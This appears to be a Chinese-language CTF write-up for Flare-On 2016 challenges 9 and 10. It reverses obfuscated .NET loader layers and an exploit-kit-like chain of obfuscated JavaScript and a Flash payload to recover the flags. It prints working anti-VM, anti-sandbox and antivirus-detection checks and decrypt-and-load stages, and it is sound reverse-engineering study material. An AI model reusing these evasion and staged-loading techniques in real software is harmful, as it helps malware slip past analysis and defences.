<Module>.\u200C\u206D\u200E\u200C\u206D\u206D\u202E\u202C\u202A\u202C\u206D\u206E\u206F\u206A\u206E\u206A\u206D\u206A\u206B\u200C\u206B\u202D\u206D\u200D\u202E\u200C\u202D\u200E\u202A\u200B\u206E\u200B\u206C\u200D\u206C\u206E\u200D\u206C\u202A\u206A\u202E<string>(3462063362u); arg_39_0 = (num * 944659686u ^ 795441943u); continue; } case 9u: { string[] array; array[7] = <Module>.\u206B\u202D\u206D\u200D\u202B\u202C\u206D\u200C\u202D\u200E\u206D\u202D\u206F\u200D\u206B\u200B\u202B\u206A\u202A\u202A\u206D\u206B\u200C\u206D\u206A\u202C\u206D\u206B\u202C\u202A\u206F\u202B\u206B\u200E\u206E\u200C\u200C\u202D\u202E\u202A\u202E<string>(2273825057u); arg_39_0 = (num * 2903015759u ^ 2716276850u); continue; } } goto Block_1; } } Block_1: ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectCollection.GetEnumerator(); try { while (true) { IL_262: uint arg_1AC_0 = (!enumerator.MoveNext()) ? 4035020753u : 3623295036u; while (true) { uint num; switch ((num = (arg_1AC_0 ^ 2413552312u)) % 11u) { case 0u: { int num2; num2++; arg_1AC_0 = 3060273637u; continue; } case 1u: { int num2; string[] array3; arg_1AC_0 = ((num2 < array3.Length) ? 3110028346u : 2946798570u); continue; } case 2u: { ManagementObject managementObject = (ManagementObject)enumerator.Current; string text = (string)managementObject[<Module>.\u200C\u206D\u200E\u200C\u206D\u206D\u202E\u202C\u202A\u202C\u206D\u206E\u206F\u206A\u206E\u206A\u206D\u206A\u206B\u200C\u206B\u202D\u206D\u200D\u202E\u200C\u202D\u200E\u202A\u200B\u206E\u200B\u206C\u200D\u206C\u206E\u200D\u206C\u202A\u206A\u202E<string>(3071942643u)]; arg_1AC_0 = 3016139492u; continue; } case 3u: { string text; string value; arg_1AC_0 = ((text.Contains(value) ? 2300307047u : 4029176840u) ^ num * 3807182732u); continue; } case 4u: arg_1AC_0 = 3623295036u; continue; case 6u: { int num2 = 0; arg_1AC_0 = (num * 3618253266u ^ 3718838043u); continue; } case 7u: { int num2; string[] array3; string value = array3[num2]; arg_1AC_0 = 3316693056u; continue; } case 8u: goto IL_262; case 9u: { string text = text.ToLower(); string[] array3 = array2; arg_1AC_0 = (num * 4045000684u ^ 1184628303u); continue; } case 10u: result = true; arg_1AC_0 = (num * 2077563369u ^ 3861696063u); continue; } goto Block_4; } } Block_4:; } finally { if (enumerator != null) { while (true) { IL_2EA: uint arg_2F4_0 = 3956176503u; while (true) { uint num; switch ((num = (arg_2F4_0 ^ 2413552312u)) % 3u) { case 0u: goto IL_2EA; case 2u: ((IDisposable)enumerator).Dispose(); arg_2F4_0 = (num * 2800442345u ^ 1450629006u); continue; } goto Block_9; } } Block_9:; } } return result; } public static bool Start(string config) { if (Layer2.IsVideoCardFromEmulator()) { return false; } bool result; try { string key = Layer2.getKey(); byte[] bytesToBeDecrypted = util.ReadResource(<Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(3753327011u)); MethodInfo method; object[] array; while (true) { IL_1F: uint arg_29_0 = 940752502u; while (true) { uint num; switch ((num = (arg_29_0 ^ 1520223704u)) % 8u) { case 0u: goto IL_1F; case 1u: { Assembly assembly; Type type = assembly.GetType(<Module>.\u200C\u206D\u200E\u200C\u206D\u206D\u202E\u202C\u202A\u202C\u206D\u206E\u206F\u206A\u206E\u206A\u206D\u206A\u206B\u200C\u206B\u202D\u206D\u200D\u202E\u200C\u202D\u200E\u202A\u200B\u206E\u200B\u206C\u200D\u206C\u206E\u200D\u206C\u202A\u206A\u202E<string>(4061409225u)); arg_29_0 = (num * 4242975297u ^ 1282056291u); continue; } case 2u: { Type type; method = type.GetMethod(<Module>.\u206B\u202D\u206D\u200D\u202B\u202C\u206D\u200C\u202D\u200E\u206D\u202D\u206F\u200D\u206B\u200B\u202B\u206A\u202A\u202A\u206D\u206B\u200C\u206D\u206A\u202C\u206D\u206B\u202C\u202A\u206F\u202B\u206B\u200E\u206E\u200C\u200C\u202D\u202E\u202A\u202E<string>(2617334851u)); array = new object[1]; arg_29_0 = (num * 1579163950u ^ 3648286203u); continue; } case 3u: { byte[] rawAssembly; Assembly assembly = Assembly.Load(rawAssembly); arg_29_0 = (num * 1590382241u ^ 2941013770u); continue; } case 4u: { byte[] buffer; byte[] rawAssembly = util.DecompressBuffer(buffer); arg_29_0 = (num * 92554542u ^ 2808918491u); continue; } case 6u: { byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key)); arg_29_0 = (num * 4054600647u ^ 1312138318u); continue; } case 7u: array[0] = <Module>.\u206B\u202D\u206D\u200D\u202B\u202C\u206D\u200C\u202D\u200E\u206D\u202D\u206F\u200D\u206B\u200B\u202B\u206A\u202A\u202A\u206D\u206B\u200C\u206D\u206A\u202C\u206D\u206B\u202C\u202A\u206F\u202B\u206B\u200E\u206E\u200C\u200C\u202D\u202E\u202A\u202E<string>(927985914u); arg_29_0 = (num * 2757215955u ^ 2775083800u); continue; } goto Block_3; } } Block_3: bool flag = (bool)method.Invoke(null, array); result = flag; } catch (Exception) { while (true) { IL_13A: uint arg_144_0 = 1603173826u; while (true) { uint num; switch ((num = (arg_144_0 ^ 1520223704u)) % 3u) { case 0u: goto IL_13A; case 2u: result = false; arg_144_0 = (num * 1446448774u ^ 4267266598u); continue; } goto Block_4; } } Block_4:; } return result; } } ``` 透過動態分析還是可以快速看出大致上的行為: - `Layer2.IsVideoCardFromEmulator()` 會透過顯示卡檢查是否在虛擬機中 可以中斷在 `IsVideoCardFromEmulator()` 的 `return` 並修改 `result` 來通過檢查 - `Layer2.getKey()` 中,會呼叫 `Registry.CurrentUser.GetSubKeyNames()` 並同樣以 `md5` + `base64` 判斷是否有 `sub key` 的名稱為 `secret`,並回傳 key: `flare-secret` 在 `HKEY_CURRENT_USER` 下新增一個名為 `secret` 的機碼即可符合條件 然而在沒有符合條件的情況下執行 `Layer2.getKey()` 後可以從區域變數中得到第三組 share: `Share:3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294` - 最後程式會以 `AES` 解密並載入下一層的 `dll`,以同樣的方式繼續跟進 ### Layer3.dll 一樣步過第一個初始化函數後 `Reaload Method Bodies` ,中斷在 `Layer3.Start()` ```c# public class Layer3 { // Token: 0x06000040 RID: 64 RVA: 0x0000FBC8 File Offset: 0x0000DFC8 public static string getKey() { SelectQuery query = new SelectQuery(<Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(2945095396u)); ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(query); ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator(); try { string result; while (true) { IL_108: uint arg_33_0 = (!enumerator.MoveNext()) ? 3879835726u : 2651603684u; while (true) { uint num; switch ((num = (arg_33_0 ^ 3495535212u)) % 10u) { case 0u: { string text; arg_33_0 = (((text.CompareTo(StringUtils.a66) == 0) ? 206694793u : 1391732593u) ^ num * 2790437578u); continue; } case 1u: { MD5 mD; byte[] bytes; byte[] inArray = mD.ComputeHash(bytes); arg_33_0 = (num * 3633414537u ^ 2117330041u); continue; } case 2u: arg_33_0 = 2651603684u; continue; case 3u: goto IL_108; case 4u: { byte[] inArray; string text = Convert.ToBase64String(inArray); arg_33_0 = (num * 3905099304u ^ 3227076034u); continue; } case 5u: { string text2; result = <Module>.\u206F\u202C\u206D\u206F\u206E\u202C\u200D\u206F\u202A\u200F\u200E\u202D\u202B\u206B\u200F\u202E\u200D\u206E\u206E\u200C\u200D\u200B\u206A\u206B\u206D\u202C\u206C\u206F\u206A\u206F\u200C\u202B\u206A\u202D\u200D\u202A\u202D\u200F\u200B\u206C\u202E<string>(3257699721u) + text2; arg_33_0 = (num * 229438980u ^ 2250473547u); continue; } case 7u: goto IL_6C; case 8u: { ManagementObject managementObject = (ManagementObject)enumerator.Current; string text2 = (string)managementObject[<Module>.\u206C\u202D\u206F\u202B\u206E\u200D\u202A\u202C\u206C\u200B\u202E\u206F\u200F\u200F\u202D\u202A\u206F\u202A\u206A\u202D\u206A\u202C\u202D\u206D\u206D\u206E\u206B\u206D\u202E\u206E\u200B\u206B\u200E\u202B\u202B\u206D\u202C\u206C\u202E\u202E<string>(3483153269u)]; arg_33_0 = 3508415771u; continue; } case 9u: { MD5 mD = MD5.Create(); string text2; byte[] bytes = Encoding.UTF8.GetBytes(text2); arg_33_0 = (num * 259472154u ^ 2673059115u); continue; } } goto Block_3; } } Block_3: goto IL_179; IL_6C: return result; IL_179:; } finally { if (enumerator != null) { while (true) { IL_17F: uint arg_189_0 = 4269206364u; while (true) { uint num; switch ((num = (arg_189_0 ^ 3495535212u)) % 3u) { case 0u: goto IL_17F; case 1u: ((IDisposable)enumerator).Dispose(); arg_189_0 = (num * 2689088499u ^ 3887649818u); continue; } goto Block_7; } } Block_7:; } } return <Module>.\u206E\u200C\u200F\u206E\u202D\u200F\u200D\u206F\u202C\u206F\u200C\u206B\u202A\u200C\u202A\u206D\u200C\u206F\u202A\u202E\u200E\u206F\u200F\u206D\u202C\u200F\u206E\u202B\u202D\u202D\u206C\u200D\u202E\u206E\u202C\u206F\u202D\u206A\u202D\u202A\u202E<string>(3855791546u); } public static bool Start(string config) { try { string key = Layer3.getKey(); while (true) { IL_06: uint arg_10_0 = 4289824873u; while (true) { uint num; switch ((num = (arg_10_0 ^ 3707440169u)) % 9u) { case 0u: goto IL_06; case 1u: { byte[] bytesToBeDecrypted; byte[] bytes = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key)); arg_10_0 = (num * 661416811u ^ 2039414464u); continue; } case 2u: { byte[] bytesToBeDecrypted = util.ReadResource(<Module>.\u206C\u202D\u206F\u202B\u206E\u200D\u202A\u202C\u206C\u200B\u202E\u206F\u200F\u200F\u202D\u202A\u206F\u202A\u206A\u202D\u206A\u202C\u202D\u206D\u206D\u206E\u206B\u206D\u202E\u206E\u200B\u206B\u200E\u202B\u202B\u206D\u202C\u206C\u202E\u202E<string>(2921636399u)); arg_10_0 = (num * 3538037274u ^ 2949823500u); continue; } case 4u: { byte[] bytes2; File.WriteAllBytes(<Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(2663114732u), bytes2); ProcessStartInfo processStartInfo = new ProcessStartInfo(<Module>.\u206E\u200C\u206E\u202E\u206E\u206E\u206C\u202A\u200E\u206D\u202E\u206E\u206B\u206D\u202B\u202E\u200F\u200C\u202D\u202B\u206D\u202A\u200B\u202D\u200C\u200E\u206F\u206B\u206E\u202E\u202B\u206B\u200E\u202C\u200C\u206C\u202E\u200C\u206F\u202D\u202E<string>(1143424475u)); arg_10_0 = (num * 1327553900u ^ 1386100579u); continue; } case 5u: { byte[] bytes; File.WriteAllBytes(<Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(2505810066u), bytes); arg_10_0 = (num * 3787366363u ^ 40351029u); continue; } case 6u: { ProcessStartInfo processStartInfo; Process.Start(processStartInfo); arg_10_0 = (num * 284573691u ^ 2598046760u); continue; } case 7u: { ProcessStartInfo processStartInfo; processStartInfo.Verb = <Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(3666361390u); arg_10_0 = (num * 183203051u ^ 3338640763u); continue; } case 8u: { byte[] bytes2 = util.ReadResource(<Module>.\u206E\u200C\u200F\u206E\u202D\u200F\u200D\u206F\u202C\u206F\u200C\u206B\u202A\u200C\u202A\u206D\u200C\u206F\u202A\u202E\u200E\u206F\u200F\u206D\u202C\u200F\u206E\u202B\u202D\u202D\u206C\u200D\u202E\u206E\u202C\u206F\u202D\u206A\u202D\u202A\u202E<string>(4245356310u)); arg_10_0 = (num * 748758343u ^ 2498904875u); continue; } } goto Block_2; } } Block_2:; } catch (Exception) { return false; } return true; } } ``` - `Layer3.getKey()` 中會用 `md5` + `base64` 檢查是否有名為 `shamir` 的 user 存在,符合條件後回傳 key: `flare-shamir` 接著以 AES 解密並輸出出一個執行檔 `ssss-combine.exe` 之後會顯示一張圖片,內容為第 6 組 Share: `Share:6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a` 最後彈出訊息 `Thanks for playing!` ### combine 執行 `ssss-combine.exe` 後可以知道是用來解 [Shamir Secret Sharing](https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing) ``` Shamir Secret Sharing Scheme- $Id$ Copyright 2005 B. Poettering, Win32 port by Alex.Popov@leggettwood.com Combine shares using Shamir's Secret Sharing Scheme. ssss-combine -t threshold [-x] [-q] [-Q] [-D] ``` 照前面得到的序號編號看來,我們需要 6 組 share 序號 分析過程中得到了 `1, 2, 3, 6` 而剩下的 `4, 5` 可以從 process 中 dump 出來,中斷在程式結束之前,掃描 process memory 後得到: ``` Share:4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd Share:5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3 ``` 最後使用 `ssss-combine.exe` 解出 Flag: ``` > ssss-combine.exe -t 6 Shamir Secret Sharing Scheme - $Id$ Copyright 2005 B. Poettering, Win32 port by Alex.Popov@leggettwood.com Enter 6 shares separated by newlines: Share [1/6]: 1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64 Share [2/6]: 2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3 Share [3/6]: 3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294 Share [4/6]: 4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd Share [5/6]: 5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3 Share [6/6]: 6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a Resulting secret: Shamir_1s_C0nfused@flare-on.com ``` --- ## Challenge 10: FLAVA 只給了一個 `flave.pcap` 透過 wireshark 可以觀察出是在瀏覽一些跟 Pokemon Go 有關的網站: `lessons_you_will_learn_from_pokemon_go.html` `where_to_catch_eevee.html` ### SWF 其中一個比較可疑的 request 是 `GET /will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh` 將檔案 dump 出來,發現是一個 swf 檔: ```shell $ file will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh: Macromedia Flash data (compressed), version 14 ``` 提示需要輸入 Key: ![image alt](http://i.imgur.com/ThTpQrO.png) 使用 [JPEXS Flash Decompiler](https://www.free-decompiler.com/flash/download/) 分析: ```clike public static function pr0udB3lly(param1:ByteArray, param2:String) : ByteArray { var loc5:* = undefined; var loc3:ByteArray = new ByteArray(); var loc4:ByteArray = new ByteArray(); loc3.writeBytes(param1,16,param1.length - 16); loc4.writeUTFBytes(param2); loc4.writeBytes(param1,0,16); loc5 = MD5.hashBytes(loc4); var loc6:* = 0; var loc7:* = 0; var loc8:* = 0; var loc9:ByteArray = new ByteArray(); var loc10:uint = 0; var loc11:ByteArray = new ByteArray(); loc7 = uint(0); while(loc7 < 256) { loc9[loc7] = loc7; loc7++; } loc7 = uint(0); while(loc7 < 256) { loc10 = loc10 + loc9[loc7] + loc5.charCodeAt(loc7 % loc5.length) & 255; loc6 = uint(loc9[loc7]); loc9[loc7] = loc9[loc10]; loc9[loc10] = loc6; loc7++; } loc7 = uint(0); loc10 = 0; loc8 = uint(0); while(loc8 < loc3.length) { loc7 = uint(loc7 + 1 & 255); loc10 = loc10 + loc9[loc7] & 255; loc6 = uint(loc9[loc7]); loc9[loc7] = loc9[loc10]; loc9[loc10] = loc6; loc11[loc8] = loc3[loc8] ^ loc9[loc9[loc7] + loc9[loc10] & 255]; loc8++; } return loc11; } public function d3cryp7AndL0ad(param1:String) : void { var loc2:Loader = new Loader(); var loc3:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain,null); var loc4:Class = Run_challenge1; var loc5:ByteArray = pr0udB3lly(ByteArray(new loc4()),param1); var loc6:String = "1172ca0ede560b08d97b270400347ede"; if(MD5.hashBytes(loc5) == loc6) { this.loaded = true; loc2.loadBytes(loc5); } } ``` 程式會將 binary 資料用我們給的 key 做 RC4 解密出另一個 swf 後,判斷檔案 md5 為 `1172ca0ede560b08d97b270400347ede`,再載入執行 看起來沒有 RC4 Key 就無法繼續下去 ### Obfuscated Javascript 再回頭分析 pcap,發現在取得 swf 的 request 之前載入了一個奇怪的頁面: ![](http://i.imgur.com/z9OPpZ0.png) 在 `133` 行處發現看起來被混淆的 `javascript`: ![](https://i.imgur.com/9Myw6pC.png) 先透過 [jsbeautifier](http://jsbeautifier.org) 將它變得好看一點之後,發現還是被高度混淆,只好開始非常痛苦的手動慢慢還原: ```javascript var nRXXcuUgLQVUBh; var PNfNaU, kCfh, BoXo, gFVaUK, eseHzcGkAGiM; var current_time = new Date(); var IjyDLAKpitvfE; var AYKbsHqKVlYHn, UKhPqdhzo = true; var FiAwn = 1; var date = new Date('2016/09/09'); var TYg = 'ABCDEFGHIJKLMNOPQRST'; var LHsfd76 = 'UVWXYZabcdefghijklmnopqrstuv', Ndfrf = 'wxyz0123456789+/='; kCfh = 'join'; var LiZAqJ = 0; AYKbsHqKVlYHn = ( function() { var js_code, html; if (window['d'] == "" || window['BoXo']) { wutdorw.scroll = doRsw.alert() }; html = this.document.getElementById('oq6iFsbdiAj').innerHTML; html = html.substr(htm.indexOf('>') + 1); CheckScriptEngine(); js_code = v5Z16(html['replace'](/\s/g, ""), "Tk9SRmhzYUNXWkpvamJtdg=="); html = null;; try { if (FiAwn == 1) { var U7weQ = new Function(js_code); console.log(U7weQ); U7weQ(); FiAwn = 2 } else { var O0fdFD = new Function(js_code); console.log(O0fdFD); O0fdFD(js_code) } } catch (lol) { } }); function ogv(UYfer3) { var HG6dq = String, uhod = 'A' + HG6dq['fromCharCode'](110 + 6), LLrefrwf3 = KrefF34 = TYg, KrefF34 = Ndfrf; var Kds7e3HdSf = LHsfd76; var erfyT = LLrefrwf3 + Kds7e3HdSf + KrefF34, o = ''; UYfer3 = UYfer3.replace('/[^A-Za-z0-9\+\/\=]/g', ''); var t = 0, HG6dq = HG6dq['fromCharCode']; while (t < UYfer3.length) { var efdmsf = erfyT.indexOf(UYfer3['char' + uhod](t++)), kjnre = erfyT.indexOf(UYfer3['char' + uhod](t++)), LHregfbg = erfyT.indexOf(UYfer3['char' + uhod](t++)), I9dsfd = erfyT.indexOf(UYfer3['char' + uhod](t++)); var lmsfd = (efdmsf << 2) | (kjnre >> 4), M39fd = ((kjnre & 0xf) << 4) | (LHregfbg >> 2), R3kdns = ((LHregfbg & 3) << 6) | I9dsfd; o += HG6dq(lmsfd); if (LHregfbg != (60 + 4)) o += HG6dq(M39fd); if (I9dsfd != (8 * 8)) o += HG6dq(R3kdns); } var oa = new Array(); for (var y = 0; y < o.length; y++) oa[y] = o[y].charCodeAt(0); return oa; } function CheckDate() { return true; // patch if (current_time < date) { return true; } else { return false; } } function CheckScriptEngine() { var utaNfs = LiZAqJ; try { if (window.ScriptEngineBuildVersion() === 545) { utaNfs = 0; } else { utaNfs = 2; } } catch (e) { utaNfs = 4; } utaNfs = 0;// patch LiZAqJ = utaNfs; } function b64decode(sFE) { ... } function v5Z16(Fu, ya4o) { R$FBC = new Array(); var DM7w7I = LiZAqJ; JoJH = String.fromCharCode; if (!DM7w7I) { if (window && (!window.outerWidth || window.outerWidth < 1280)) { DM7w7I = 1; } else { var IhUgy = new Date(); DM7w7I = (IhUgy - current_time > 100) ? 3 : 0 DM7w7I = 0; // patch } } var fC5Z = ogv(Fu); var S7z = b64decode(ya4o); for (var i = 0; i < fC5Z.length; i++) { var bvp1u = fC5Z[i]; if (S7z.length < 0) { bvp1u = 1 } if (S7z.length > 0) bvp1u ^= S7z[DM7w7I]; if (!CheckDate()) { (DM7w7I++) % 7 }; R$FBC[i] = bvp1u } var msl = R$FBC['length'], qXgdUv = ""; for (var Jk = 0; Jk < msl; Jk++) { var S7z = R$FBC[Jk]; qXgdUv += JoJH(S7z) } return qXgdUv; }; var sTAOtHoXuO; var VoxpI; var fBtpJkk = ""; window['AYKbsHqKVlYHn']() ``` script 中會做一些檢查: - `ScriptEngineBuildVersion()` 返回值必須是 545 - 目前時間小於 2016/09/09 - window.outerWidth 要 >= 1280 - 執行時間 < 100ms 最後以 base64 及 xor decode 得到另一組 javascript 執行 我們可以直接 patch 掉檢查後 dump 出執行的 code ### Obfuscated Javascript - 2 一樣又是混淆過的 javscript,混淆的方式相當惱人,不曉得有沒有什麼實用的工具能快速處理: ```javascript var Il1Ib = Math, Il1Ic = String, Il1IIll1a = JSON, Il1IIll1b = XMLHttpRequest; var Il1Ie = ''['lol']('9%E44%BC%1Ap', 90, 9, 97), Il1If = ''['>_<']('%D0%94%18F%A5%C0', 162, 5, 199), Il1Ig = ''['OGC']('%B7%5By4%B6%B4w', 199, 33, 147), Il1Ih = ''['-Q-']('%B7j%16%9E%04%88%E4%3Ej', 199, 17, 225), Il1I = ''['>_O']('%DB%FCy%7D%E1', 168, 129, 247), Il1Ii = ''['o3o']('%C4J%13sI%F7%3D', 173, 5, 195), Il1Ij = ''['Orz']('%D6%E4zP%20%EC', 181, 9, 47), Il1Ik = ''['Orz']('F%92%1C%D5%DF%02', 52, 65, 191), Il1Il = ''['^_^']('%3Eq%01%F4%C7G%FB%B7%F34%A2%94', 88, 65, 171), Il1Im = ''['^_^']('%DFu%5C_c', 190, 33, 135), Il1In = ''['lol']('%FA%5E%1A%F6V%9F', 150, 5, 77), Il1Io = ''['>_<']('%F9S%F8%AE%BB%11%89q', 141, 65, 111), Il1Ip = ''['OGC']('%03%F7%B7%B7o%A4%06%D49%03', 96, 9, 63), Il1Iq = ''['O_o']('%C3%BE%10%C3+', 165, 129, 173), Il1Ir = ''['lol']('%D4%1B%E7M', 167, 33, 235); var Il1IbbAa = ''['>_O']('%10%8D%81%CE%17%A9y9%5B%F0%3Bx%DE%3FC%EB%85%FD%EE%8A%80%FAy%9D%CC%A11%D4 KH%23%AF6.%84%5D%28%D8%06dg%24%26%E0%E3%8E0s%A8%1F%B1%10%AF%1B%09%03%E3%02%EBR%5C%A 9%13%E5%E3O%3E%BC%E6d%29%C7*3%C1C%A9%FA%13%D2t%B0thY%86O3', 65, 5, 147); var Il1Ibbss = ''['-,-']('*%F1m%891%82', 89, 33, 11), Il1Ibbso = 6, Il1Ibbsi = 2, Il1Ibbsn = 10; var Il1Ibbsa = ''['O_o']('G%02n%1FeB%93%7C%BF%8B%FA%80%F9%AF%1B%C3', 52, 129, 51), Il1Ibbsb = ''['-Q-']('%9F%23%ABO', 240, 9, 227), Il1Ibbsc = ''['Orz']('%EE%DB1%E4', 157, 129, 161), Il1Ibbsd = ''['Orz']('%AFUd4%8D%83%3B%8El%F2%1A%CC%27W%FB%3B%17%8E', 192, 33, 123), Il1Ibbse = ''['^_^']('%08%C0%F1_%DF%82%C8%06%A6%98', 122, 65, 171), Il1Ibbsf = ''['O_o']('1%FDi%0B%DB%26', 66, 9, 55), Il1Ibbsg = ''['-,-']('lTC%3B%ED%A3%7C%10%9E', 31, 17, 17), Il1Ibbsh = ''['>_<']('G%E1%7B%A1%BE', 55, 65, 137), Il1Ibbsl = escape, Il1Ibbsj = unescape, Il1Ibbsk = ''['o3o']('%09mFr%00%12Z%137%95e%9E', 123, 33, 45), Il1Ibbsp = ''['o3o']('s%DD%A2%14', 35, 17, 63), Il1Ibbst = false; ``` 用類似的方式痛苦的還原: ```javascript function js2() { String.prototype.kek = function(a, b, c, d) { var e = ''; a = unescape(a); for (var f = 0; f < a.length; f++) { var g = b ^ a.charCodeAt(f); e += String.fromCharCode(g); b = (b * c + d) & 0xFF; } log(e); return e; } String.prototype.ggg = function() { return 'flareon_is_so_cute'; } String.prototype.hhh = function() { return 'how_can_you_not_like_flareon'; }; m(); var a = l(); var b = Function(a); b(); } js2(); function m() { window.notIE = false; window.keyboardPlugin = false; window.table1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; window.table2 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/='; window.base64_table = window.table2; } function j() { var blah; var a = navigator; if(a.userAgent.indexOf('MSIE') == -1 && a.appVersion.indexOf('Trident/') == -1) { window.notIE = true; } window.notIE = false; // patch var d = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi', e = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1', f = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.4_5_0.1'; try { blah = new ActiveXObject(d); } catch(w) { blah = false; try { blah = new ActiveXObject(e); } catch(w) { blah = false; try { blah = new ActiveXObject(f); } catch(w) { blah = false; } } } blah = false; // patch if (blah) { window.keyboardPlugin = true; } if (!window.notIE && !window.keyboardPlugin) { window.base64_table = window.table1; } else { window.base64_table = window.table2; } } function l() { j(); var a = "<LONG BASE64>",b,g,f,e,c,d=0,h='',x=window.base64_table; do b = x.indexOf(a.charAt(d++)), g = d < a.length ? x.indexOf(a.charAt(d++)) : 64, e = d < a.length ? x.indexOf(a.charAt(d++)) : 64, c = d < a.length ? x.indexOf(a.charAt(d++)) : 64, f = b << 18 | g << 12 | e << 6 | c, b = f >> 16 & 255, g = f >> 8 & 255, f &= 255, h = 64 == e ? h + String.fromCharCode(b) : 64 == c ? h + String.fromCharCode(b, g) : h + String.fromCharCode(b, g, f); while (d < a.length); return h; } ``` 這一層會透過 `navigator.userAgent` 跟 `navigator.appVersion` 來檢查目前環境是不是在 IE 瀏覽器中,並偵測一些 `卡巴斯基` 的 `ActiveX` 元件 通過之後,會再解出另一組 `javascript` 載入執行 ### Obfuscated Javascript - 3 一樣用痛苦的方式還原,搜尋使用到的一些常數會發現其中包含了一個 `BigInteger` 的 js library: [jsbn](http://www-cs-students.stanford.edu/%7Etjw/jsbn/) 同時也做了一些環境檢查: - 檢查是否位於 `nodejs` 或 `PhantomJS` 中 - 透過 `ActiveXObject` 檢查是否有讀檔能力,判斷是否在 VM 中 - 檢查執行效能及螢幕解析度 ```javascript EnvChecker = function() { function echo_rm_msg() { var a = false; try { print(os.system('echo', ["I just rmed your root dir. You're welcome."])); a = true; } catch(m){a=false;}; return a; }; function check_process() { var a = false; try { var b = window; if (typeof b === 'undefined') { a = true; } } catch (z) {}; if (!a) { try { var c = process; if (typeof c === 'object.' && c + '' === '[object process]') { a = true; } } catch(y) {}; } return a; }; function check_phantom() { var a = false; try { var d = window; var e = d.outerWidth; var f = d.outerHeight; if (e === 0 && f === 0) { a = true; } } catch (x) {a = true}; if (!a) { try { var g = window; a = !!g['callPhantom'] } catch (w) {}; } return a; }; this.Mi = false;// echo_rm_msg(); this.pA = false;// check_process(); this.is_phantom = false;//check_phantom(); } EnvChecker2 = function() { function Il1Il1Il1d(a,b) { if (a<0.00000001) { return b; } if (a<b) { return Il1Il1Il1d(b-Math.floor(b/a)*a,a); } else if (a==b) { return a; } else { return Il1Il1Il1d(b,a); } }; function checkfile(b) { var a = new ActiveXObject('Microsoft.XMLDOM'); a.async = true; a.loadXML('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "res://' + b + '">'); if (a.parseError.errorCode == -2147023083) return 1; return 0; }; function Il1Il1Il1f() { try { var a = performance.now() / 1000; } catch (e) { return 0;} var b = performance.now() / 1000 - a; for (var i=0;i<10;i++) { b=Il1Il1Il1d(b, performance.now()/1000 - a); } var c = Math.round(1/b); if (Math.abs(c-10000000) < 100) { return 1; } else if (Math.abs(c-3579545) < 100) { return 1; } else if (Math.abs(c-14318180) < 100) { return 1; } try { var d = screen; if ((d.width < (1280)) || (d.height < (1280))) return 1; } catch(x) {return 1;} return 0; }; return 0; // patch if(Il1Il1Il1f() >= 1) return 1; if(Il1Il1Il1f() >= 1) return 1; if(checkfile('c:\windows\System32\drivers\vmhgfs.sys') == 1) return 1; if(checkfile('c:\Windows\System32\drivers\VBoxMouse.sys') == 1) return 2; if(checkfile('c:\Windows\System32\drivers\vmusbmouse.sys') == 1) return 1; if(checkfile('c:\Windows\System32\drivers\VBoxVideo.sys') == 1) return 2; if(checkfile('c:\Windows\System32\drivers\vmmouse.sys') == 1) return 1; 